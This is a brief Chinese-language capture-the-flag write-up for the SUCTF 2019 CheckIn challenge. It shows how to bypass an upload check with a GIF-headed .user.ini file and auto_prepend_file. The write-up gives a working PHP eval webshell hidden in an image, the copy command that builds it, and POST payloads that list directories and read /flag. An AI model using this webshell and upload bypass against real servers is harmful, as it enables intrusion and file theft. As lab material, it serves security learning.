复现地址:https://buuoj.cn/challenges#[SUCTF%202019]CheckIn

考察点： .user.ini 文件绕过
exif_imagetype() 文件头校验

解题

1. 构造.user.ini文件

GIF89a                  
auto_prepend_file=l3ef.jpg

2. 构造jpg文件

<script language="php">eval($_POST['l3ef']);phpinfo();</script>

制作图片马

copy background.jpg/a + l3ef.php/b l3ef.jpg

3. 分别上传文件，显示上传路径

   
   image.png

4. 访问index.php，默认会访问.user.ini中的文件

   
   image.png

5. 读取文件目录

l3ef=var_dump(scandir("/"));

image.png

读取文件

l3ef=var_dump(file_get_contents("/flag"));

image.png